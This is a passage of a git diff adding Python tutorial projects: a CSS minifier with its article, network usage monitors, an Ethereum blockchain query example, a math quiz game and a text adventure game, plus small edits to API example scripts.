+ + \ No newline at end of file diff --git a/general/minify-css/minimize.py b/general/minify-css/minimize.py new file mode 100644 index 00000000..37c6dadf --- /dev/null +++ b/general/minify-css/minimize.py @@ -0,0 +1,119 @@ +import cssutils +import re +import logging +import os +import time +cssutils.log.setLevel(logging.CRITICAL) + +startTime = time.time() +os.system('cls') + +def getFilesByExtension(ext, root): + foundFiles = [] + for root, directories, files in os.walk(root): + for f in files: + if f.endswith(ext): + # os.path.join(root, f) is the full path to the file + foundFiles.append(os.path.join(root, f)) + return foundFiles + + +def flattenStyleSheet(sheet): + ruleList = [] + for rule in sheet.cssRules: + if rule.typeString == 'MEDIA_RULE': + ruleList += rule.cssRules + elif rule.typeString == 'STYLE_RULE': + ruleList.append(rule) + return ruleList + + +def findAllCSSClasses(): + usedClasses = {} + # Find all used classes + for htmlFile in htmlFiles: + with open(htmlFile, 'r') as f: + htmlContent = f.read() + regex = r'class="(.*?)"' + # re.DOTALL is needed to match newlines + matched = re.finditer(regex, htmlContent, re.MULTILINE | re.DOTALL) + # matched is a list of re.Match objects + for i in matched: + for className in i.groups()[0].split(' '): # i.groups()[0] is the first group in the regex + usedClasses[className] = '' + return list(usedClasses.keys()) + + +def translateUsedClasses(classList): + for i, usedClass in enumerate(classList): + for translation in translations: + # If the class is found in the translations list, replace it + regex = translation[0] + subst = translation[1] + if re.search(regex, usedClass): + # re.sub() replaces the regex with the subst + result = re.sub(regex, subst, usedClass, 1, re.MULTILINE) # 1 is the max number of replacements + # Replace the class in the list + classList[i] = result + return classList + + +htmlFiles = getFilesByExtension('.html', '.') + +cssFiles = getFilesByExtension('.css', 'style') + +# Use Translations if the class names in the Markup dont exactly +# match the CSS Selector ( Except for the dot at the begining. ) +translations = [ + [ + '@', + '\\@' + ], + [ + r"(.*?):(.*)", + r"\g<1>\\:\g<2>:\g<1>", + ], + [ + r"child(.*)", + "child\\g<1> > *", + ], +] + +usedClasses = findAllCSSClasses() +usedClasses = translateUsedClasses(usedClasses) + +output = 'min.css' + +newCSS = '' + +for cssFile in cssFiles: + # Parse the CSS File + sheet = cssutils.parseFile(cssFile) + rules = flattenStyleSheet(sheet) + noClassSelectors = [] + for rule in rules: + for usedClass in usedClasses: + if '.' + usedClass == rule.selectorText: + # If the class is used in the HTML, add it to the new CSS + usedClasses.remove(usedClass) # Remove the class from the list + if rule.parentRule: + newCSS += str(rule.parentRule.cssText) + else: + newCSS += str(rule.cssText) + if rule.selectorText[0] != '.' and not rule.selectorText in noClassSelectors: + # If the selector doesnt start with a dot and is not already in the list, + # add it + noClassSelectors.append(rule.selectorText) + if rule.parentRule: + newCSS += str(rule.parentRule.cssText) + else: + newCSS += str(rule.cssText) + +newCSS = newCSS.replace('\n', '') +newCSS = newCSS.replace(' ', '') + +with open(output, 'w') as f: + f.write(newCSS) + + +print('TIME TOOK: ', time.time() - startTime) \ No newline at end of file diff --git a/general/minify-css/requirements.txt b/general/minify-css/requirements.txt new file mode 100644 index 00000000..ccb53693 --- /dev/null +++ b/general/minify-css/requirements.txt @@ -0,0 +1 @@ +cssutils \ No newline at end of file diff --git a/general/minify-css/style/style.css b/general/minify-css/style/style.css new file mode 100644 index 00000000..8ce26542 --- /dev/null +++ b/general/minify-css/style/style.css @@ -0,0 +1,15 @@ +.page { + color: pink +} + +.article { + font-size: 1rem; +} + +.button { + padding: 1rem; +} + +body { + font-family: 'Lucida Sans', sans-serif; +} \ No newline at end of file diff --git a/general/minify-css/text.md b/general/minify-css/text.md new file mode 100644 index 00000000..f42d5303 --- /dev/null +++ b/general/minify-css/text.md @@ -0,0 +1,200 @@ +# Minify CSS with Python +**Learn how to utilize cssutils to minimize CSS files in a Web Project** + + +## Idea + +In this article, we will make a python program that will search for classes used in all HTML files in a project and it will then search and compile these files from the CSS files. The program will serve a specific purpose as it will match classes strictly; which means `bg-black` won't `bg-black:hover`, The used classes have to appear in the stylesheets as they are used. This way of minimizing is useful for utility classes such as `width-800px` or `color-grey-800` that only change on the property. Now maybe your utility classes also entail something like this pattern: `child-margin-2rem` which in the stylesheet is actually `child-margin-2rem > *`, this won't match by default but we will make it possible to replace such patterns with the appropriate selector. Finally, you can change the code so the minified works better for your case or you could even redo it on your own with the knowledge gained. + +We will utilize a CSS Library called CSSUtils that allows us to parse, read and write CSS. + +## Imports + +Let's start with the Modules and Libraries we have to import for our little program. The most important will be `cssutils` which has to be downloaded with `pip install cssutils`. We also want to import `re`, `os`, `time`. We get the logging module simply to turn off logging because cssutils throws a lot of errors. We then clear the console with `os.system` and we save the start time of the program to a variable. + +```py +import cssutils +import re +import logging +import os +import time +cssutils.log.setLevel(logging.CRITICAL) + +startTime = time.time() +os.system('cls') +``` + +## Getting the Files + +Firstly we get lists of files ending in `.html` and `.css`. We save these lists for later. + +```py +htmlFiles = getFilesByExtension('.html', '.') + +cssFiles = getFilesByExtension('.css', 'style') +``` + +Let's also go over the function that searches for all these files. keep in mind it has to be defined before its usage. Here we use the `walk` function of `os` which receives a path and it will return data about each subdirectory and the directory itself. We only need the files which are the third item of the returned tuple. We loop over these and if they end with the specified extension we add them to the `foundFiles` list. Lastly, we also need to return this list. + +```py +def getFilesByExtension(ext, root): + foundFiles = [] + + for root, directories, files in os.walk(root): + + for f in files: + + if f.endswith(ext): + foundFiles.append(os.path.join(root, f)) +``` + +## Finding all used Classes + +Next up we want to find all used classes in all HTML files that were found. To do this we first create a dictionary to store each class name as an item. We do it this way so we don't have duplicates in the end. We then loop over all HTML files and for each one we get the content and we use a Regular Expression to find all class strings. Continuing we split each of these found strings because classes are separated by a space. Lastly, we return the found list dictionary but we return the keys which are the classes. + +```py +usedClasses = findAllCSSClasses() + +# Function, defined before +def findAllCSSClasses(): + usedClasses = {} + + # Find all used classes + for htmlFile in htmlFiles: + with open(htmlFile, 'r') as f: + htmlContent = f.read() + + regex = r'class="(.*?)"' + + matched = re.finditer(regex, htmlContent, re.MULTILINE | re.DOTALL) + + for i in matched: + + for className in i.groups()[0].split(' '): + usedClasses[className] = '' + + return list(usedClasses.keys()) +``` + +## Translating used Classes + +Now wer translate some classes, this is useful if the class name won't exactly match the selector, but it follows a pattern like all classes starting with `child-` have `> *` appended to their selector, and here we handle this. We define each translation in a list where the first item is the regex and the second is the replacement. + +```py +# Use Translations if the class names in the Markup don't exactly +# match the CSS Selector ( Except for the dot at the beginning. ) +translations = [ + [ + '@', + '\\@' + ], + [ + r"(.*?):(.*)", + r"\g<1>\\:\g<2>:\g<1>", + ], + [ + r"child(.*)", + "child\\g<1> > *", + ], +] + +usedClasses = translateUsedClasses(usedClasses) +``` + +In the function we then loop over each regex for each class, so every translation is potentially applied to each class name. We then simply apply the replacement with the `re.sub` method. + +```py +def translateUsedClasses(classList): + + for i, usedClass in enumerate(classList): + for translation in translations: + + regex = translation[0] + subst = translation[1] + + if re.search(regex, usedClass): + result = re.sub(regex, subst, usedClass, 1, re.MULTILINE) + + classList[i] = result + + return classList +``` + +## Getting used Classes from the Stylesheets + +After that, we get the style definition from the stylesheets with cssutils, before we loop over the found style sheets we first define the path of the minified CSS which in this case is `min.css` then we also create a variable called `newCSS` that will hold the new CSS content. + +```py +output = 'min.css' + +newCSS = '' +``` + +We continue by looping over all CSS files. We parse each file with `cssutils.parsefile(path)` and get all the rules in the style sheet with the custom `flattenStyleSheet()` function, we later go over how it works but it will essentially put all rules hidden inside media queries into the same list as top-level rules. then we define a list that will hold all selector names that are not classes that we encounter. We do this because something like `input` should not be left out. Then we loop over each rule and each class and if the selector and selector text of the rule match up we add the whole CSS text of the rule to the newCSS string. We simply need to watch out if the rule has a parent rule which would be a media query. We do the same thing for all the rules not starting with a dot. + +```py +for cssFile in cssFiles: + + sheet = cssutils.parseFile(cssFile) + rules = flattenStyleSheet(sheet) + + noClassSelectors = [] + + for rule in rules: + for usedClass in usedClasses: + + if '.' + usedClass == rule.selectorText: + usedClasses.remove(usedClass) + + if rule.parentRule: + newCSS += str(rule.parentRule.cssText) + else: + newCSS += str(rule.cssText) + + if rule.selectorText[0] != '.' and not rule.selectorText in noClassSelectors: + + noClassSelectors.append(rule.selectorText) + + if rule.parentRule: + newCSS += str(rule.parentRule.cssText) + else: + newCSS += str(rule.cssText) +``` + +### `flattenstylesheet` function + +Lets quickly go over the flattenstylesheet function. It will receive the sheet and it loops over each rule in that sheet in, then it will check if the rule is simply a style rule or media rule so it can add all rules to a one-dimensional list. + +```py +def flattenStyleSheet(sheet): + ruleList = [] + + for rule in sheet.cssRules: + + if rule.typeString == 'MEDIA_RULE': + ruleList += rule.cssRules + + elif rule.typeString == 'STYLE_RULE': + ruleList.append(rule) + + return ruleList +``` + +## Saving new CSS + +Lastly, we minify the CSS further by removing linebreaks and double spaces and we save this new CSS to the specified location. + +```py +newCSS = newCSS.replace('\n', '') +newCSS = newCSS.replace(' ', '') + +with open(output, 'w') as f: + f.write(newCSS) + + +print('TIME: ', time.time() - startTime) +``` + +## Conclusion + +Excellent! You have successfully created a CSS Minifier using Python code! See how you can add more features to this program such as a config file for further options. Also keep in mind that this program could need some optimization since it runs very slow on larger projects. \ No newline at end of file diff --git a/general/network-usage/README.md b/general/network-usage/README.md new file mode 100644 index 00000000..ae68382a --- /dev/null +++ b/general/network-usage/README.md @@ -0,0 +1,3 @@ +# [How to Make a Network Usage Monitor in Python](https://www.thepythoncode.com/article/make-a-network-usage-monitor-in-python) +To run the scripts: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/general/network-usage/network_usage.py b/general/network-usage/network_usage.py new file mode 100644 index 00000000..2def69ce --- /dev/null +++ b/general/network-usage/network_usage.py @@ -0,0 +1,34 @@ +import psutil +import time + +UPDATE_DELAY = 1 # in seconds + +def get_size(bytes): + """ + Returns size of bytes in a nice format + """ + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bytes < 1024: + return f"{bytes:.2f}{unit}B" + bytes /= 1024 + +# get the network I/O stats from psutil +io = psutil.net_io_counters() +# extract the total bytes sent and received +bytes_sent, bytes_recv = io.bytes_sent, io.bytes_recv + +while True: + # sleep for `UPDATE_DELAY` seconds + time.sleep(UPDATE_DELAY) + # get the stats again + io_2 = psutil.net_io_counters() + # new - old stats gets us the speed + us, ds = io_2.bytes_sent - bytes_sent, io_2.bytes_recv - bytes_recv + # print the total download/upload along with current speeds + print(f"Upload: {get_size(io_2.bytes_sent)} " + f", Download: {get_size(io_2.bytes_recv)} " + f", Upload Speed: {get_size(us / UPDATE_DELAY)}/s " + f", Download Speed: {get_size(ds / UPDATE_DELAY)}/s ", end="\r") + # update the bytes_sent and bytes_recv for next iteration + bytes_sent, bytes_recv = io_2.bytes_sent, io_2.bytes_recv + \ No newline at end of file diff --git a/general/network-usage/network_usage_per_interface.py b/general/network-usage/network_usage_per_interface.py new file mode 100644 index 00000000..03a3fa1b --- /dev/null +++ b/general/network-usage/network_usage_per_interface.py @@ -0,0 +1,47 @@ +import psutil +import time +import os +import pandas as pd + +UPDATE_DELAY = 1 # in seconds + +def get_size(bytes): + """ + Returns size of bytes in a nice format + """ + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bytes < 1024: + return f"{bytes:.2f}{unit}B" + bytes /= 1024 + +# get the network I/O stats from psutil on each network interface +# by setting `pernic` to `True` +io = psutil.net_io_counters(pernic=True) + +while True: + # sleep for `UPDATE_DELAY` seconds + time.sleep(UPDATE_DELAY) + # get the network I/O stats again per interface + io_2 = psutil.net_io_counters(pernic=True) + # initialize the data to gather (a list of dicts) + data = [] + for iface, iface_io in io.items(): + # new - old stats gets us the speed + upload_speed, download_speed = io_2[iface].bytes_sent - iface_io.bytes_sent, io_2[iface].bytes_recv - iface_io.bytes_recv + data.append({ + "iface": iface, "Download": get_size(io_2[iface].bytes_recv), + "Upload": get_size(io_2[iface].bytes_sent), + "Upload Speed": f"{get_size(upload_speed / UPDATE_DELAY)}/s", + "Download Speed": f"{get_size(download_speed / UPDATE_DELAY)}/s", + }) + # update the I/O stats for the next iteration + io = io_2 + # construct a Pandas DataFrame to print stats in a cool tabular style + df = pd.DataFrame(data) + # sort values per column, feel free to change the column + df.sort_values("Download", inplace=True, ascending=False) + # clear the screen based on your OS + os.system("cls") if "nt" in os.name else os.system("clear") + # print the stats + print(df.to_string()) + \ No newline at end of file diff --git a/general/network-usage/network_usage_per_process.py b/general/network-usage/network_usage_per_process.py new file mode 100644 index 00000000..f49f4082 --- /dev/null +++ b/general/network-usage/network_usage_per_process.py @@ -0,0 +1,154 @@ +from scapy.all import * +import psutil +from collections import defaultdict +import os +from threading import Thread +import pandas as pd + +# get the all network adapter's MAC addresses +all_macs = {iface.mac for iface in ifaces.values()} +# A dictionary to map each connection to its correponding process ID (PID) +connection2pid = {} +# A dictionary to map each process ID (PID) to total Upload (0) and Download (1) traffic +pid2traffic = defaultdict(lambda: [0, 0]) +# the global Pandas DataFrame that's used to track previous traffic stats +global_df = None +# global boolean for status of the program +is_program_running = True + +def get_size(bytes): + """ + Returns size of bytes in a nice format + """ + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bytes < 1024: + return f"{bytes:.2f}{unit}B" + bytes /= 1024 + + +def process_packet(packet): + global pid2traffic + try: + # get the packet source & destination IP addresses and ports + packet_connection = (packet.sport, packet.dport) + except (AttributeError, IndexError): + # sometimes the packet does not have TCP/UDP layers, we just ignore these packets + pass + else: + # get the PID responsible for this connection from our `connection2pid` global dictionary + packet_pid = connection2pid.get(packet_connection) + if packet_pid: + if packet.src in all_macs: + # the source MAC address of the packet is our MAC address + # so it's an outgoing packet, meaning it's upload + pid2traffic[packet_pid][0] += len(packet) + else: + # incoming packet, download + pid2traffic[packet_pid][1] += len(packet) + + +def get_connections(): + """A function that keeps listening for connections on this machine + and adds them to `connection2pid` global variable""" + global connection2pid + while is_program_running: + # using psutil, we can grab each connection's source and destination ports + # and their process ID + for c in psutil.net_connections(): + if c.laddr and c.raddr and c.pid: + # if local address, remote address and PID are in the connection + # add them to our global dictionary + connection2pid[(c.laddr.port, c.raddr.port)] = c.pid + connection2pid[(c.raddr.port, c.laddr.port)] = c.pid + # sleep for a second, feel free to adjust this + time.sleep(1) + + +def print_pid2traffic(): + global global_df + # initialize the list of processes + processes = [] + for pid, traffic in pid2traffic.items(): + # `pid` is an integer that represents the process ID + # `traffic` is a list of two values: total Upload and Download size in bytes + try: + # get the process object from psutil + p = psutil.Process(pid) + except psutil.NoSuchProcess: + # if process is not found, simply continue to the next PID for now + continue + # get the name of the process, such as chrome.exe, etc. + name = p.name() + # get the time the process was spawned + try: + create_time = datetime.fromtimestamp(p.create_time()) + except OSError: + # system processes, using boot time instead + create_time = datetime.fromtimestamp(psutil.boot_time()) + # construct our dictionary that stores process info + process = { + "pid": pid, "name": name, "create_time": create_time, "Upload": traffic[0], + "Download": traffic[1], + } + try: + # calculate the upload and download speeds by simply subtracting the old stats from the new stats + process["Upload Speed"] = traffic[0] - global_df.at[pid, "Upload"] + process["Download Speed"] = traffic[1] - global_df.at[pid, "Download"] + except (KeyError, AttributeError): + # If it's the first time running this function, then the speed is the current traffic + # You can think of it as if old traffic is 0 + process["Upload Speed"] = traffic[0] + process["Download Speed"] = traffic[1] + # append the process to our processes list + processes.append(process) + # construct our Pandas DataFrame + df = pd.DataFrame(processes) + try: + # set the PID as the index of the dataframe + df = df.set_index("pid") + # sort by column, feel free to edit this column + df.sort_values("Download", inplace=True, ascending=False) + except KeyError as e: + # when dataframe is empty + pass + # make another copy of the dataframe just for fancy printing + printing_df = df.copy() + try: + # apply the function get_size to scale the stats like '532.6KB/s', etc. + printing_df["Download"] = printing_df["Download"].apply(get_size) + printing_df["Upload"] = printing_df["Upload"].apply(get_size) + printing_df["Download Speed"] = printing_df["Download Speed"].apply(get_size).apply(lambda s: f"{s}/s") + printing_df["Upload Speed"] = printing_df["Upload Speed"].apply(get_size).apply(lambda s: f"{s}/s") + except KeyError as e: + # when dataframe is empty again + pass + # clear the screen based on your OS + os.system("cls") if "nt" in os.name else os.system("clear") + # print our dataframe + print(printing_df.to_string()) + # update the global df to our dataframe + global_df = df + + +def print_stats(): + """Simple function that keeps printing the stats""" + while is_program_running: + time.sleep(1) + print_pid2traffic() + + + +if __name__ == "__main__": + # start the printing thread + printing_thread = Thread(target=print_stats) + printing_thread.start() + # start the get_connections() function to update the current connections of this machine + connections_thread = Thread(target=get_connections) + connections_thread.start() + # start sniffing + print("Started sniffing") + sniff(prn=process_packet, store=False) + # setting the global variable to False to exit the program + is_program_running = False + + \ No newline at end of file diff --git a/general/network-usage/requirements.txt b/general/network-usage/requirements.txt new file mode 100644 index 00000000..d672e5bb --- /dev/null +++ b/general/network-usage/requirements.txt @@ -0,0 +1,3 @@ +psutil +scapy +pandas \ No newline at end of file diff --git a/general/query-ethereum/README.md b/general/query-ethereum/README.md new file mode 100644 index 00000000..bdfcca1b --- /dev/null +++ b/general/query-ethereum/README.md @@ -0,0 +1 @@ +# [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python) \ No newline at end of file diff --git a/general/query-ethereum/query_ethereum_blockchain.py b/general/query-ethereum/query_ethereum_blockchain.py new file mode 100644 index 00000000..b524eee2 --- /dev/null +++ b/general/query-ethereum/query_ethereum_blockchain.py @@ -0,0 +1,116 @@ +from web3 import Web3 + +# infura API key +API_KEY = "put your API key here" +# change endpoint to mainnet or ropsten or any other of your account +url = f"https://.infura.io/v3/{API_KEY}" + +w3 = Web3(Web3.HTTPProvider(url)) +# see whether the connection is established +res = w3.isConnected() +print(res) + + +# get latest block +latest = w3.eth.get_block('latest') +print(latest) +# print the block number +print(latest['number']) + + +# query individual transactions +transaction1 = w3.eth.get_transaction('0x0e3d45ec3e1d145842ce5bc56ad168e4a98508e0429da96c1ff89f11076da36d') +print(transaction1) + + +# use block number to query transactions +transaction2 = w3.eth.get_transaction_by_block(15410924, 0) +print(transaction2) + + +# get number of transactions in a block +transactionCount = w3.eth.get_transaction_count('0x486976656f6e2065752d68656176792d657163') +print(transactionCount) + + +# check if a block address is valid +isValid = w3.isAddress('0xed44e77fb3408cd5ad415d7467af6f6783218fb74c3824de1258f6d266bcc7b7') +print(isValid) + + +# check if an address is a valid EIP-55 checksum address +isChecksumAddressValid = Web3.isChecksumAddress('0x486976656f6e2065752d68656176792d657163') +print(isChecksumAddressValid) + + +# get balance of a block address +balance = w3.eth.get_balance('0xd3CdA913deB6f67967B99D67aCDFa1712C293601') +print(balance) + + +# get proof of a block +proof = w3.eth.get_proof('0x486976656f6e2065752d68656176792d657163', [0], 3391) +print(proof) + + +# get uncle of a block +w3.eth.get_uncle_by_block(15410924, 0) + + +nonce = w3.eth.getTransactionCount('0x610Ae88399fc1687FA7530Aac28eC2539c7d6d63', 'latest') +# create a transaction +transaction = { + 'to': '0x31B98D14007bDEe637298086988A0bBd31184523', + 'from': '0x31B98D14007bDEe63EREEDFT34544646MOI22', + 'value': 500, + 'gas': 10000, + 'maxFeePerGas': 1000000208, + 'nonce': nonce, +} +# send the transaction +w3.eth.send_transaction(transaction) + + +# sign a transaction +signed = w3.eth.sign_transaction( + dict( + nonce=nonce, + maxFeePerGas=34300000, + maxPriorityFeePerGas=25000000, + gas=100000, + to='0xerecfBYWlB99D67aCDFa17EREFEerrtr73601', + value=1, + data=b'', + ) +) + +address = '0x706f6f6c696e2e636f6d21688947c8f76c4e92' +abi = '[{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"minter_",........' # abi of the contract +# create a contract object +contract = w3.eth.contract(address=address, abi=abi) + + +# total supply of the token +totalSupply = contract.functions.totalSupply().call() +print(totalSupply) + + +# read the data and update the state +contract.functions.storedvalue().call() +tx_hash = contract.functions.updateValue(100).transact() + + +# retrieve token metadata +print(contract.functions.name().call()) +print(contract.functions.decimals().call()) +print(contract.functions.symbol().call()) +# output: +# SHIBACHU +# 9 +# SHIBACHU + + +# find the account balance +address = '0x5eaaf114aad1313e7440d2ff805ced993e566df' +balance = contract.functions.balanceOf(address).call() + diff --git a/general/query-ethereum/requirements.txt b/general/query-ethereum/requirements.txt new file mode 100644 index 00000000..32905575 --- /dev/null +++ b/general/query-ethereum/requirements.txt @@ -0,0 +1 @@ +web3 \ No newline at end of file diff --git a/general/simple-math-game/README.md b/general/simple-math-game/README.md new file mode 100644 index 00000000..9497a648 --- /dev/null +++ b/general/simple-math-game/README.md @@ -0,0 +1,27 @@ +# [How to Make a Simple Math Quiz Game in Python](https://www.thepythoncode.com/article/make-a-simple-math-quiz-game-in-python) +To run this: +- `pip install -r requirements.txt` +- + ``` + $ python simple_math_game.py + + Round down to one Number after the Comma. + When asked to press enter to continue, type stop to stop. + + 5 ** 4 = 625 + Correct! + Points: 1 + Press "Enter" to continue + + 9 ** 18 = 190 + Wrong! + Solution: 150094635296999121 + Points: 0 + Press "Enter" to continue + + 7 - 17 = -10 + Correct! + Points: 1 + Press "Enter" to continue + stop + ``` \ No newline at end of file diff --git a/general/simple-math-game/requirements.txt b/general/simple-math-game/requirements.txt new file mode 100644 index 00000000..49433279 --- /dev/null +++ b/general/simple-math-game/requirements.txt @@ -0,0 +1 @@ +pyinputplus \ No newline at end of file diff --git a/general/simple-math-game/simple_math_game.py b/general/simple-math-game/simple_math_game.py new file mode 100644 index 00000000..6de8e374 --- /dev/null +++ b/general/simple-math-game/simple_math_game.py @@ -0,0 +1,38 @@ +# Imports +import pyinputplus as pyip +from random import choice + +# Variables +questionTypes = ['+', '-', '*', '/', '**'] +numbersRange = [num for num in range(1, 20)] +points = 0 + +# Hints +print('Round down to one Number after the Comma.') +print('When asked to press enter to continue, type stop to stop.\n') + +# Game Loop +while True: + # Deciding and generating question + currenType = choice(questionTypes) + + promptEquation = str(choice(numbersRange)) + ' ' + currenType + ' ' + str(choice(numbersRange)) + solution = round(eval(promptEquation), 1) + + # Getting answer from User + answer = pyip.inputNum(prompt=promptEquation + ' = ') + + # Feedback and Points + if answer == solution: + points += 1 + print('Correct!\nPoints: ',points) + else: + points -= 1 + print('Wrong!\nSolution: '+str(solution)+'\nPoints: ',points) + + # Stopping the Game + if pyip.inputStr('Press "Enter" to continue', blank=True) == 'stop': + break + + # Some Padding + print('\n\n') diff --git a/general/text-adventure-game/README.md b/general/text-adventure-game/README.md new file mode 100644 index 00000000..4fb48d62 --- /dev/null +++ b/general/text-adventure-game/README.md @@ -0,0 +1 @@ +# [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python) \ No newline at end of file diff --git a/general/text-adventure-game/requirements.txt b/general/text-adventure-game/requirements.txt new file mode 100644 index 00000000..49433279 --- /dev/null +++ b/general/text-adventure-game/requirements.txt @@ -0,0 +1 @@ +pyinputplus \ No newline at end of file diff --git a/general/text-adventure-game/story.json b/general/text-adventure-game/story.json new file mode 100644 index 00000000..349d2c9f --- /dev/null +++ b/general/text-adventure-game/story.json @@ -0,0 +1,9 @@ +{ + "0": ["You embark on a new adventure, you are at a conjunction where do you go?", [1, 2], "Go Back", ""], + "1": ["You Encounter an angry Mob of Programmers, what do you do?", [3, 4], "Go Right", ""], + "2": ["You see the City of schaffhausen in front of you", [0, 3], "Go Left", ""], + "3": ["I dont know why you did that but okay.", [4, 5], "Use Banana", "minus-clock"], + "4": ["Seems like it worked they did not notice you. One of them slips you a banana", [4, 5], "Pull out Laptop", "plus-banana"], + "5": ["The Banana was poisonous", ["end"], "Eat Banana", ""], + "10": ["You fell over and now you are in grave pain ... ", ["end"], "Pull out Laptop", ""] +} \ No newline at end of file diff --git a/general/text-adventure-game/text_adventure.py b/general/text-adventure-game/text_adventure.py new file mode 100644 index 00000000..ca12c894 --- /dev/null +++ b/general/text-adventure-game/text_adventure.py @@ -0,0 +1,96 @@ +# Import pyinputplus for choice inputs and os to clear the console. +import pyinputplus +import os +import json + +# setting up some variables +currentKey = '0' +currentKeys = [] +itemAlreadyAdded = False + +# Get the Story Prompts +# A dictionary is used because we dont want to allow +# duplicate keys +with open('story.json', 'r') as f: + storyPrompts = json.load(f) + +inventory = { + 'banana(s)': 0, + 'clock(s)': 2, + 'swords(s)': 0, +} + +# Check if the prompts are valid +for prompt in storyPrompts: + promptText, keys, *_ = storyPrompts[prompt] + + # Add ":" at the end of the prompt Text + if not promptText.endswith(':'): + storyPrompts[prompt][0] = promptText + ': ' + + # Check if the keys are strings, if not transform them + storyPrompts[prompt][1] = [str(i) for i in keys] + + +# Giving the user some instructions. +print('Type in the number of the prompt or -i to view your inventory ... have fun.') + +# Prompt Loop +while True: + # Clearing the Console on all platforms + os.system('cls' if os.name == 'nt' else 'clear') + # Get the current prompt all its associated data + currentPrompt, currentKeys, _, action = storyPrompts[currentKey] + # Finish the Adventure when the next keys list contains the string 'end' + if 'end' in currentKeys: + break + # Look for inventory Changes + if not itemAlreadyAdded: + if 'minus' in action: + inventory[action.split('-')[1]+'(s)'] -= 1 + if 'plus' in action: + inventory[action.split('-')[1]+'(s)'] += 1 + # Add Option Descriptions to the current Prompt with their number + for o in currentKeys: + + invalidOption = False + + thisaction = storyPrompts[o][3] + if 'minus' in thisaction: + item = storyPrompts[o][3].split('-')[1]+'(s)' + if inventory[item] == 0: + print(storyPrompts[o][3].split('-')[1]+'(s)') + invalidOption = True + + if not invalidOption: + currentPrompt += f'\n{o}. {storyPrompts[o][2]}' + + + currentPrompt += '\n\nWhat do you do? ' + + # Get the input from the user, only give them the keys as a choice so they dont + # type in something invalid. + userInput = pyinputplus.inputChoice(choices=(currentKeys + ['-i']), prompt=currentPrompt) + + # Printing out the inventory if the user types in -i + if '-i' in userInput: + print(f'\nCurrent Inventory: ') + + for i in inventory: + print(f'{i} : {inventory[i]}') + + print ('\n') + + input('Press Enter to continue ... ') + + itemAlreadyAdded = True + + continue + else: + itemAlreadyAdded = False + + currentKey = userInput + +# Printing out the last prompt so the user knows what happened to him. +print(storyPrompts[currentKey][0]) +print('\nStory Finished ...') diff --git a/general/using-custom-search-engine-api/search_engine.py b/general/using-custom-search-engine-api/search_engine.py index 92d07644..32374e3e 100644 --- a/general/using-custom-search-engine-api/search_engine.py +++ b/general/using-custom-search-engine-api/search_engine.py @@ -30,6 +30,10 @@ search_items = data.get("items") # iterate over 10 results found for i, search_item in enumerate(search_items, start=1): + try: + long_description = search_item["pagemap"]["metatags"][0]["og:description"] + except KeyError: + long_description = "N/A" # get the page title title = search_item.get("title") # page snippet @@ -42,4 +46,5 @@ print("="*10, f"Result #{i+start-1}", "="*10) print("Title:", title) print("Description:", snippet) + print("Long description:", long_description) print("URL:", link, "\n") \ No newline at end of file diff --git a/general/youtube-api/utils.py b/general/youtube-api/utils.py index 404bdd69..c4e54065 100644 --- a/general/youtube-api/utils.py +++ b/general/youtube-api/utils.py @@ -69,7 +69,6 @@ def print_video_infos(video_response): # get stats infos comment_count = statistics["commentCount"] like_count = statistics["likeCount"] - dislike_count = statistics["dislikeCount"] view_count = statistics["viewCount"] # get duration from content details duration = content_details["duration"] @@ -89,7 +88,6 @@ def print_video_infos(video_response): Duration: {duration_str} Number of comments: {comment_count} Number of likes: {like_count} - Number of dislikes: {dislike_count} Number of views: {view_count} """) diff --git a/general/youtube-api/youtube-api.ipynb b/general/youtube-api/youtube-api.ipynb index 6d1e160d..2c15c13e 100644 --- a/general/youtube-api/youtube-api.ipynb +++ b/general/youtube-api/youtube-api.ipynb @@ -1,26 +1,4 @@ { - "metadata": { - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.7-final" - }, - "orig_nbformat": 2, - "kernelspec": { - "name": "python36664bitea6884f10f474b21a2a2f022451e0d09", - "display_name": "Python 3.6.6 64-bit", - "language": "python" - } - }, - "nbformat": 4, - "nbformat_minor": 2, "cells": [ { "cell_type": "code", @@ -120,7 +98,6 @@ " # get stats infos\n", " comment_count = statistics[\"commentCount\"]\n", " like_count = statistics[\"likeCount\"]\n", - " dislike_count = statistics[\"dislikeCount\"]\n", " view_count = statistics[\"viewCount\"]\n", " # get duration from content details\n", " duration = content_details[\"duration\"]\n", @@ -140,7 +117,6 @@ " Duration: {duration_str}\n", " Number of comments: {comment_count}\n", " Number of likes: {like_count}\n", - " Number of dislikes: {dislike_count}\n", " Number of views: {view_count}\n", " \"\"\")" ] @@ -392,5 +368,27 @@ "outputs": [], "source": [] } - ] -} \ No newline at end of file + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3.6.6 64-bit", + "language": "python", + "name": "python36664bitea6884f10f474b21a2a2f022451e0d09" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.7-final" + }, + "orig_nbformat": 2 + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/general/zipf-curve/README.md b/general/zipf-curve/README.md new file mode 100644 index 00000000..f2a0349f --- /dev/null +++ b/general/zipf-curve/README.md @@ -0,0 +1,4 @@ +# [Zipf's Word Frequency Plot with Python](https://www.thepythoncode.com/article/plot-zipfs-law-using-matplotlib-python) +To run this code, install: +- `pip install -r requirements.txt` +- The `texts` folder already exists if you want to use it. \ No newline at end of file diff --git a/general/zipf-curve/requirements.txt b/general/zipf-curve/requirements.txt new file mode 100644 index 00000000..8dd05464 --- /dev/null +++ b/general/zipf-curve/requirements.txt @@ -0,0 +1,3 @@ +numpy +matplotlib +scipy \ No newline at end of file diff --git a/general/zipf-curve/texts/Calculator with tkinter.txt b/general/zipf-curve/texts/Calculator with tkinter.txt new file mode 100644 index 00000000..b47a700e --- /dev/null +++ b/general/zipf-curve/texts/Calculator with 